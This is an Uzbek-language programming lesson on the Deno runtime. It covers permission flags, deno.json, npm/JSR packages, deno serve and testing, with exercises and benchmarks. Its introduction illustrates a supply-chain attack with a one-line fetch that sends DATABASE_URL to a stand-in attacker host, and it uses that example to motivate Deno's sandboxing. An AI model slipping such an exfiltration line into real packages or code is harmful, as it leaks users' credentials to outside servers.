IlmHamroh
JavaScript Full-stack/29-qism. Backend integratsiyalar: fayl, to'lov, bot, realtime67/69-dars14 daqiqa
Mundarija (26)

Deno: ruxsatlar bilan xavfsiz JavaScript va TypeScript runtime

Qisqacha: Deno — Node muallifi Rayan Dal (Ryan Dahl) yaratgan ikkinchi runtime. Asosiy farqi — xavfsizlik: dastur sukutda faylni o'qiy olmaydi, tarmoqqa chiqa olmaydi, muhit o'zgaruvchisini ko'ra olmaydi. Har ruxsat bayroq bilan aniq beriladi (--allow-read=fayl, --allow-net=host:port). TypeScript, formatlovchi, linter va test runner ichida; npm paketlari npm: orqali, Deno'ning o'z reyestri — JSR.

Bu darsda

  • Deno ruxsatlarini o'z ko'zingiz bilan sinab, har birining xato matnini o'qiysiz.
  • deno.json da import xaritasi va vazifalar yozasiz.
  • npm: va jsr: paketlarni ishlatasiz, deno.lock ni o'qiysiz.
  • deno serve va deno test bilan Hono ilovani ishga tushirib, sinaysiz.
  • Deno'ni Node va Bun bilan solishtira olasiz.

Oldin bilishingiz kerak: Permission model, ES Modules Node'da, Hono, Bun runtime.

Oldingi darsda Bun tezlik va "hammasi bitta dasturda" g'oyasini ko'rsatdi. Deno ham hammasi bitta dasturda, lekin markazda boshqa narsa — xavfsizlik.

1. Nega bu kerak?

Siz npm'dan sana-formatla degan kichik paket o'rnatdingiz. Uning ichida kimdir bitta qator qo'shgan: fetch("https://yomon.example/", { body: process.env.DATABASE_URL }). Node'da bu qator ishlaydi — paket sizning dasturingiz bilan bir xil huquqqa ega: hamma fayl, hamma tarmoq, hamma sir.

Bunday hujum — supply chain attack (ta'minot zanjiri hujumi): sizga emas, siz ishlatadigan paketga hujum qilinadi. Permission model darsida Node'ning --permission bayrog'ini ko'rgandik. Kanon o'sha qismda topgan: Node 24 dagi --permission fayllarni cheklaydi, lekin tarmoqni cheklamaydi.

Deno buni boshidan boshqa qilgan: hech narsaga ruxsat yo'q, toki o'zingiz bermaguningizcha.

O'xshatish: Node — mehmonga uyning hamma kalitini beradigan mezbon. Deno — mehmonga faqat mehmonxona xonasining kalitini beradigan mezbon; oshxonaga kirmoqchi bo'lsa — alohida so'raydi.

2. Ruxsatlar

2.1 Tajriba

Quyidagi fayl to'rt ish qiladi: o'z faylini o'qiydi, fayl yozadi, HOME muhit o'zgaruvchisini o'qiydi va lokal portga so'rov yuboradi. Har ish try/catch ichida — xato bo'lsa, nomi va matni chiqadi.

ts
// fayl: ruxsat.ts
const sinov = async (nom: string, ish: () => Promise<unknown>) => {
  try {
    console.log(nom, "→", await ish());
  } catch (e) {
    const x = e as Error;
    console.log(nom, "→", x.name + ":", x.message);
  }
};
await sinov("o'qish", async () =>
  (await Deno.readTextFile("ruxsat.ts")).length);
await sinov("yozish", async () => {
  await Deno.writeTextFile("x.txt", "salom");
  return "yozildi";
});
await sinov("env", async () =>
  Deno.env.get("HOME") ? "bor" : "bo'sh");
await sinov("tarmoq", async () =>
  (await fetch("http://127.0.0.1:4499/")).status);

Biz Deno 2.9.6 da uch xil ishga tushirdik (Windows 11). --no-prompt — Deno ruxsat so'rab to'xtamasin, darhol rad etsin.

Ruxsatsiz (har qatorning → dan keyingi qismiga qarang — xato nomi va qaysi resurs so'ralgani):

bash
deno run --no-prompt ruxsat.ts
text
o'qish → NotCapable: Requires read access to "ruxsat.ts", run again with the --allow-read flag
yozish → NotCapable: Requires write access to "x.txt", run again with the --allow-write flag
env → NotCapable: Requires env access to "HOME", run again with the --allow-env flag
tarmoq → NotCapable: Requires net access to "127.0.0.1:4499", run again with the --allow-net flag

Har xabar: "… ga o'qish (yozish, env, tarmoq) ruxsati kerak, --allow-… bayrog'i bilan qayta ishga tushiring". Xato nomi — NotCapable ("qodir emas"). Deno qaysi faylga, qaysi o'zgaruvchiga, qaysi host va portga urinilganini aniq aytadi.

Faqat kerakli ruxsatlar bilan:

bash
deno run --no-prompt --allow-read=ruxsat.ts --allow-env=HOME \
  --allow-net=127.0.0.1:4499 ruxsat.ts
text
o'qish → 585
yozish → NotCapable: Requires write access to "x.txt", run again with the --allow-write flag
env → bor
tarmoq → TypeError: fetch failed

O'qish va env ochildi. Yozish hamon yopiq — biz unga ruxsat bermadik. Tarmoq ruxsati bor, lekin 4499 portida server yo'q — endi xato ruxsatdan emas, ulanishdan: TypeError: fetch failed. Ya'ni ruxsat o'tdi.

-A (--allow-all) bilan to'rttasi ham ochiladi: yozish → yozildi. Biz sinadik — ishladi. Lekin -A Deno'ning butun g'oyasini o'chiradi.

2.2 Ruxsat turlari

Bayroq Nimaga Aniqlashtirish namunasi
--allow-read fayl o'qish --allow-read=./data,./config.json
--allow-write fayl yozish --allow-write=./yuklamalar
--allow-net tarmoq (ulanish va tinglash) --allow-net=api.example.com,127.0.0.1:5432
--allow-env muhit o'zgaruvchilari --allow-env=DATABASE_URL,PORT
--allow-run boshqa dastur ishga tushirish --allow-run=git
--allow-ffi native kutubxona chaqirish —
--allow-sys tizim ma'lumoti (OS, xotira) --allow-sys=hostname

Jadval docs.deno.com "Security and permissions" sahifasi bo'yicha (2026-10-28). Har bayroq qiymatsiz bo'lsa — butun tur ochiladi (--allow-read — hamma fayl). Qiymat bilan — faqat ro'yxatdagilar. Qiymat bilan bering.

Ikkitasi alohida xavfli: hujjat --allow-run va --allow-ffi ni "qum qutisini chetlab o'tadi" deb ogohlantiradi. Ishga tushirilgan boshqa dastur yoki native kutubxona Deno ruxsatlariga bo'ysunmaydi.

Terminalda interaktiv ishga tushirsangiz (--no-prompt siz), Deno ruxsatsiz amalda to'xtab, "ruxsat berasizmi? [y/n]" deb so'raydi. Server yoki CI'da so'rash mumkin emas — u yerda ruxsatlar oldindan yoziladi.

flowchart TB
  A["kod: Deno.readTextFile(f)"] --> B{"f ruxsat ro'yxatidami?"}
  B -->|ha| C["fayl o'qiladi"]
  B -->|yo'q| D{"terminal interaktivmi va --no-prompt yo'qmi?"}
  D -->|ha| E["foydalanuvchidan so'raydi"]
  D -->|yo'q| F["NotCapable xatosi"]

Tekshirib ko'ring: Ilova faqat Postgres'ga (127.0.0.1:5432) va Telegram API'ga (api.telegram.org) ulanadi. --allow-net ni qanday yozasiz va nega --allow-net ni qiymatsiz qoldirmaysiz?

Javob

--allow-net=127.0.0.1:5432,api.telegram.org. Qiymatsiz bayroq hamma hostga ochadi: buzilgan bog'liqlik sirni istalgan serverga yubora oladi. Ro'yxat bilan esa boshqa hostga so'rov NotCapable bilan to'xtaydi — yuqoridagi supply chain misoli ishlamaydi.

3. TypeScript va deno.json

3.1 TypeScript ichida

Deno .ts faylni sozlamasiz ishga tushiradi va tip tekshirishi ham mumkin: deno check main.ts yoki deno test (test oldidan o'zi tekshiradi — natijadagi Check main_test.ts qatori shu). Bun'dan farqi shu: Bun tipni umuman tekshirmaydi, Deno esa buni o'z ichidagi TypeScript bilan qiladi (deno --version da TypeScript 6.0.3).

Ichidagi boshqa vositalar: deno fmt (formatlovchi, Prettier o'rniga), deno lint (linter), deno compile (bitta bajariladigan faylga yig'ish), deno doc. Biz bularni sinamadik — ro'yxat docs.deno.com bo'yicha.

3.2 deno.json

deno.json — Deno loyihasining sozlamalari: import xaritasi, vazifalar, kompilyator sozlamalari. Biz quyidagisini yozdik:

json
{
  "imports": {
    "hono": "npm:hono@4.13.13",
    "@std/assert": "jsr:@std/assert@1"
  },
  "tasks": {
    "dev": "deno serve --watch --allow-net main.ts"
  }
}
  • imports — import xaritasi (import map): kodda import { Hono } from "hono" yozasiz, Deno uni npm:hono@4.13.13 ga almashtiradi. Bu — brauzerdagi <script type="importmap"> standarti.
  • tasks — package.json dagi scripts ning o'xshashi: deno task dev.

Deno package.json ni ham tushunadi: Node loyihasi papkasida deno run qilsangiz, node_modules dagi paketlarni ishlatadi. Hono darsida aynan shunday bo'lgan — biz Hono faylini Deno'da deno.json siz ishga tushirgandik.

4. Paketlar: npm: va JSR

4.1 npm: specifier

npm:hono@4.13.13 — npm reyestridagi paket. Deno uni o'zi yuklaydi va global keshda saqlaydi; npm install buyrug'i shart emas. Node'ga yozilgan paketlarning ko'pchiligi ishlaydi, chunki Deno node:fs, node:http kabi modullarni taqlid qiladi.

4.2 JSR

JSR (JavaScript Registry, jsr.io) — Deno jamoasi yaratgan yangi paket reyestri. Undagi paketlar TypeScript manbasi bilan nashr qilinadi va Deno, Node, Bun'da ishlaydi. Deno'ning standart kutubxonasi (@std/assert, @std/path …) shu yerda.

Birinchi deno test da Deno nimani yuklaganini ko'rsatdi (qisqartirdik, 40 ga yaqin qator):

text
Download https://jsr.io/@std/assert/meta.json
Download https://registry.npmjs.org/hono
Download https://jsr.io/@std/assert/1.0.19_meta.json
…
Download https://registry.npmjs.org/hono/-/hono-4.13.13.tgz

jsr:@std/assert@1 — "1-katta versiyaning eng yangisi" (semver); Deno 1.0.19 ni tanladi. Tanlov deno.lock ga yozildi:

text
{
  "version": "5",
  "specifiers": {
    "jsr:@std/assert@1": "1.0.19",
    "jsr:@std/internal@^1.0.12": "1.0.14",
    "npm:hono@4.13.13": "4.13.13"
  },
  …
}

Lock-faylda har paketning integrity hash'i ham bor (npm qismida sha512-…). Uni git'ga qo'shing — boshqa kompyuterda xuddi shu versiyalar o'rnatiladi.

Diqqat: Paket yuklash deno run yoki deno test paytida bo'ladi va bunga ruxsat bayrog'i kerak emas — bu dasturning emas, Deno'ning o'z ishi. Ruxsatlar faqat sizning kodingiz va paketlaringiz ishlayotganda amal qiladi.

5. deno serve va deno test

5.1 export default { fetch }

main.ts — Hono ilovasi, export default app bilan:

ts
// fayl: main.ts
import { Hono } from "hono";

const app = new Hono();
app.get("/v1/salom", (c) =>
  c.json({ salom: "dunyo", runtime: "Deno" }));

export default app;

deno serve — fetch metodli obyektni eksport qilgan faylni serverga aylantiradi (Hono'ning app ida fetch bor). Biz deno serve --port 4517 main.ts bilan ishga tushirdik:

text
deno serve: Listening on http://localhost:4517/

curl http://127.0.0.1:4517/v1/salom:

text
{"salom":"dunyo","runtime":"Deno"}

E'tibor bering: biz --allow-net bermadik, server baribir port ochdi. Rasmiy hujjat: "deno serve automatically allows the server to listen without requiring --allow-net" — deno serve tinglash uchun ruxsatni o'zi beradi. Boshqa ruxsatlar (fayl, env, tashqi tarmoq) — baribir bayroq bilan. Sukut port — 8000. --parallel — har CPU yadrosiga alohida worker (hujjat bo'yicha, sinalmagan).

Shu faylni adashib deno run main.ts bilan ishga tushirsangiz, server ochilmaydi va Deno maslahat beradi (biz sinadik):

text
warning: Detected export default { fetch }, did you mean to run "deno serve"?

Tarjima: "export default { fetch } topildi, deno serve demoqchimidingiz?"

5.2 deno test

ts
// fayl: main_test.ts
import { assertEquals } from "@std/assert";
import app from "./main.ts";

Deno.test("GET /v1/salom", async () => {
  const r = await app.request("/v1/salom");
  assertEquals(r.status, 200);
  assertEquals(await r.json(), { salom: "dunyo", runtime: "Deno" });
});

deno test (paketlar keshda bo'lgan ikkinchi ishga tushirish):

text
running 1 test from ./main_test.ts
GET /v1/salom ... ok (36ms)

ok | 1 passed | 0 failed (55ms)

Vaqtlar har safar boshqa. Test ham ruxsatlar ichida ishlaydi: bu test faqat app.request chaqiradi — tarmoq ham, fayl ham kerak emas, shuning uchun bayroqsiz o'tdi.

6. Tezlik, Windows va kanon topilmasi

Kanon bir xil API'ni Deno.serve (freymvorksiz) bilan o'lchadi: GET 9 122, POST 5 729 so'rov/s, p99 16 ms, ishga tushish 228 ms. Bu ro'yxatdagi eng past natija — Express (10 698) dan ham past.

Freymvorksiz server: GET soniyasiga so'rov
  • Deno.serveDeno 2.9.6, p99 16 ms9 122 req/s
  • Express (Node)p99 25 ms10 698 req/s
  • Bun.serveBun 1.4.3, p99 5 ms30 430 req/s

Manba: IlmHamroh kanon o'lchovi, 2026-10-27: autocannon 8.0.0, 50 ulanish, 5 s, Windows 11, i5-12500H; Deno npm 'deno' paketidan; bitta o'lchov

Bu raqamdan "Deno sekin" degan xulosa chiqarmang. O'lchov Windows'da, bitta mashinada va bitta marta qilingan. Deno jamoasi o'z benchmark'larini Linux'da beradi. Linux'da qayta o'lchanmagan (kanonda Linux yo'q). Halol xulosa: "bizning Windows mashinamizda Deno eng sekini chiqdi; prod Linux'da o'lchab ko'ring".

Kanonning yana bir topilmasi: Node child_process.spawn bilan Deno'ni IPC kanali (stdio: [..., "ipc"]) bilan ishga tushirganda Deno "Failed to open IPC channel" xatosi bilan yiqildi. Yechim — IPC'siz ishga tushirish va tayyorlikni stdout orqali bilish. Node'dan boshqa runtime'ni boshqarsangiz, bu tuzoqni eslang.

7. Deno Deploy

Deno Deploy — Deno jamoasining serverless platformasi. Rasmiy hujjatga ko'ra (docs.deno.com/deploy, 2026-10-28):

  • Deno va Node ilovalarini, Next.js, Astro, SvelteKit'ni qo'llab-quvvatlaydi.
  • Bulutda yoki o'z serveringizda (self-hosted) ishlatsa bo'ladi.
  • Eski "Deploy Classic" (dash.deno.com) uchun hujjat yopilish sanasini 2026-yil 20-iyul deb e'lon qilgan; loyihalar yangi platformaga avtomatik ko'chirilmaydi, ularni qayta joylash kerak. Eski qo'llanmalarda dash.deno.com yoki deployctl ni ko'rsangiz, yangi konsolga (console.deno.com) qarang.

Kanonda sinalmagan: akkaunt kerak, kurs qoidasiga ko'ra akkaunt ochilmaydi. Serverless g'oyasining o'zini keyingi darsda ko'ramiz.

8. Node, Bun va Deno — yonma-yon

Node 24 Bun 1.4 Deno 2.9
Dvigatel V8 JavaScriptCore V8
TypeScript tip o'chirish bajaradi, tekshirmaydi bajaradi va tekshira oladi
Ruxsatlar --permission (fayl; tarmoq — yo'q) yo'q sukutda hammasi yopiq
Paketlar npm bun install (npm reyestri) npm:, jsr:, package.json
Asosiy kuchi ekotizim, barqarorlik tezlik, hammasi bitta xavfsizlik, standartlar

Jadvaldagi ruxsatlar qatori — kanon 24-qism topilmasi va bu darsdagi tajriba. Qolganlari — rasmiy hujjatlar va bu qismdagi tajribalar.

9. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
NotCapable: Requires read access to … ruxsat berilmagan --allow-read=<aniq yo'l>
Server ochilmadi, faqat ogohlantirish export default fayl deno run bilan deno serve
Prod'da hammasi ishlaydi, lekin -A bilan ruxsatlar yozilmagan kerakli ro'yxatni yig'ib, -A ni olib tashlang
CI'da dastur to'xtab qoldi interaktiv ruxsat so'rovi --no-prompt va aniq bayroqlar
Boshqa kompyuterda boshqa versiya deno.lock git'da yo'q lock-faylni qo'shing
Node'dan spawn qilganda yiqildi IPC kanali IPC'siz, stdout orqali

10. Mashqlar

Mashqlar kurs/mashqlar/29/67-deno/ da. Yechimlar toza JavaScript — Node, Bun va Deno'da bir xil ishlaydi.

1-mashq (oson): bo'shliqlarni to'ldiring

  • Ruxsatsiz amalda chiqadigan xato nomi —
  • Faqat 127.0.0.1:5432 ga ruxsat — --allow-net=
  • Deno'ning paket reyestri —
  • export default { fetch } faylni server qiladigan buyruq — deno
  • Interaktiv so'rovni o'chiradigan bayroq — --
Yechim
  • NotCapable — "qodir emas".
  • 127.0.0.1:5432 — host va port bilan.
  • JSR — jsr.io.
  • serve — tinglash ruxsatini o'zi beradi.
  • no-prompt — CI va serverda majburiy.

2-mashq (o'rta): --allow-net qoidasini modellang

tarmoqRuxsati(royxat, manzil) funksiyasini yozing. royxat — --allow-net= dan keyingi matn ("api.example.com,127.0.0.1:5432") yoki null (bayroq yo'q). manzil — "host:port". Qoida: null — rad; ro'yxatdagi element host:port bo'lsa — aynan mos kelishi kerak; faqat host bo'lsa — shu hostning istalgan porti. Natija — "ruxsat" yoki Deno uslubidagi xabar: Requires net access to "<manzil>". To'rt holat bilan sinang. Ishora: split(","), includes(":"), startsWith(host + ":").

Yechim
js
function tarmoqRuxsati(royxat, manzil) {
  const rad = `Requires net access to "${manzil}"`;
  if (royxat === null) return rad;
  const mos = royxat.split(",").some((el) =>
    el.includes(":") ? el === manzil : manzil.startsWith(el + ":"));
  return mos ? "ruxsat" : rad;
}

const R = "api.example.com,127.0.0.1:5432";
console.log(tarmoqRuxsati(R, "127.0.0.1:5432"));
console.log(tarmoqRuxsati(R, "127.0.0.1:6379"));
console.log(tarmoqRuxsati(R, "api.example.com:443"));
console.log(tarmoqRuxsati(null, "api.example.com:443"));

Konsolda:

text
ruxsat
Requires net access to "127.0.0.1:6379"
ruxsat
Requires net access to "api.example.com:443"

Bu — o'quv modeli. Haqiqiy Deno IPv6, domen nomini IP'ga aylantirish va boshqa chekka holatlarni ham hisobga oladi.

3-mashq (qiyin): import xaritasi qanday ishlaydi

deno.json dagi imports ni hal qiluvchi yechish(xarita, specifier) funksiyasini yozing. Qoidalar import map standartining soddalashtirilgan shakli. (1) Kalit specifier'ga aynan teng bo'lsa — qiymat. (2) / bilan tugaydigan kalit specifier'ning boshiga mos kelsa — eng uzun mos kalit olinadi va boshi almashtiriladi. (3) Mos kalit yo'q — specifier o'zgarmaydi. Xarita: "hono": "npm:hono@4.13.13", "@std/assert": "jsr:@std/assert@1", "@std/": "jsr:@std/", "~/": "./src/". Sinang: hono, @std/assert, @std/path/join, ~/db/ulanish.ts, ./boshqa.ts.

Yechim
js
function yechish(xarita, specifier) {
  if (specifier in xarita) return xarita[specifier];
  const prefikslar = Object.keys(xarita)
    .filter((k) => k.endsWith("/") && specifier.startsWith(k))
    .sort((a, b) => b.length - a.length);
  if (prefikslar.length === 0) return specifier;
  const k = prefikslar[0];
  return xarita[k] + specifier.slice(k.length);
}

const xarita = {
  "hono": "npm:hono@4.13.13",
  "@std/assert": "jsr:@std/assert@1",
  "@std/": "jsr:@std/",
  "~/": "./src/",
};
for (const s of ["hono", "@std/assert", "@std/path/join",
  "~/db/ulanish.ts", "./boshqa.ts"]) {
  console.log(s, "→", yechish(xarita, s));
}

Konsolda:

text
hono → npm:hono@4.13.13
@std/assert → jsr:@std/assert@1
@std/path/join → jsr:@std/path/join
~/db/ulanish.ts → ./src/db/ulanish.ts
./boshqa.ts → ./boshqa.ts

@std/assert aynan kalit bo'lgani uchun birinchi qoida ishladi, @std/ prefiksiga tushmadi. Haqiqiy brauzer va Deno nisbiy yo'llarni to'liq URL'ga aylantiradi va scopes ni ham biladi — bu yerda soddalashtirilgan.

11. Loyiha qadami: kanon tajribasi, loyihaga kirmaydi

vazifalar-api Node 24 da qoladi. Kanon Deno 2.9.6 ni (npm deno paketi orqali, %TEMP% papkada) tajribada sinadi: Deno.serve bir xil API bilan — 9 122 so'rov/s (Windows); ruxsatlar — ruxsatsiz NotCapable, aniq bayroqlar bilan ochildi; Node'dan IPC bilan spawn — yiqildi. Biz ruxsatlar, deno.json, npm:/jsr:, deno serve va deno test ni qayta ishga tushirdik.

Nega loyihaga kirmaydi? Loyiha Node ekotizimiga (Prisma, BullMQ, Express) qurilgan va Linux VPS'da Node bilan ishlaydi (33-qism). Deno'ning ruxsatlari kuchli g'oya — lekin ko'chish uchun har bog'liqlikni sinash kerak. Bu darsdan loyihaga olinadigan narsa — tamoyil: jarayonga faqat kerakli ruxsat. 33-qismda Docker'da xuddi shu g'oyani (root'siz foydalanuvchi, faqat kerakli tarmoq) qo'llaymiz.

O'zingiz sinab ko'ring: Deno'ni o'rnatib (npm i -g deno yoki rasmiy o'rnatuvchi), darsdagi ruxsat.ts ni uch xil bayroq bilan ishga tushiring va --allow-write=x.txt qo'shib, yozish ham ochilishini ko'ring.

12. Real ishda

  • Skriptlar va avtomatlashtirish — ruxsatlar tufayli begona skriptni xavfsizroq ishga tushirish.
  • Supabase Edge Functions Deno'da ishlaydi (Supabase arxitektura hujjati, 2026-10-28) — BaaS darsida.
  • Netlify Edge Functions ham Deno asosida (hujjat bo'yicha, sinalmagan).
  • Intervyuda: "Deno va Node farqi?", "Supply chain hujumidan runtime qanday himoya qiladi?", "JSR nima?"

Xulosa

  • Deno sukutda hech narsaga ruxsat bermaydi: fayl, tarmoq, env, dastur — har biri --allow-… bayrog'i bilan, imkon qadar aniq qiymat bilan.
  • Ruxsatsiz amal — NotCapable xatosi, nima kerakligini aniq aytadi.
  • deno.json — import xaritasi va vazifalar; paketlar npm: va jsr: orqali, versiyalar deno.lock da.
  • deno serve — export default { fetch } faylni server qiladi va tinglash ruxsatini o'zi beradi.
  • TypeScript, test, formatlovchi, linter — ichida; deno test tipni ham tekshiradi.
  • Kanonda Windows'da Deno.serve 9 122 so'rov/s — eng past; Linux'da sinalmagan.

Keyingi dars: Serverless va edge funksiyalar — server boshqarmasdan kod ishlatish: Lambda handler, sovuq start, limitlar va bazaga ulanish muammosi o'lchov bilan.

Manbalar

Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!